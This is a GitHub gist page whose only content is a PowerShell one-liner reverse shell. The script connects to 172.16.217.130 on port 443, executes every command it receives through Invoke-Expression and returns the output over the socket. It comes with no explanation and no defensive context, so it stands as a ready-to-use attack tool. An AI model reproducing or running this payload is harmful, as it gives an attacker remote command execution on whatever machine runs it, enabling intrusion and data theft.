Skip to content

Instantly share code, notes, and snippets.

@BankSecurity
Created September 8, 2019 19:38
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save BankSecurity/0c7bd78be6f139b0ffc1543bc0c342db to your computer and use it in GitHub Desktop.
Save BankSecurity/0c7bd78be6f139b0ffc1543bc0c342db to your computer and use it in GitHub Desktop.
$sm=(New-Object Net.Sockets.TCPClient('172.16.217.130',443)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment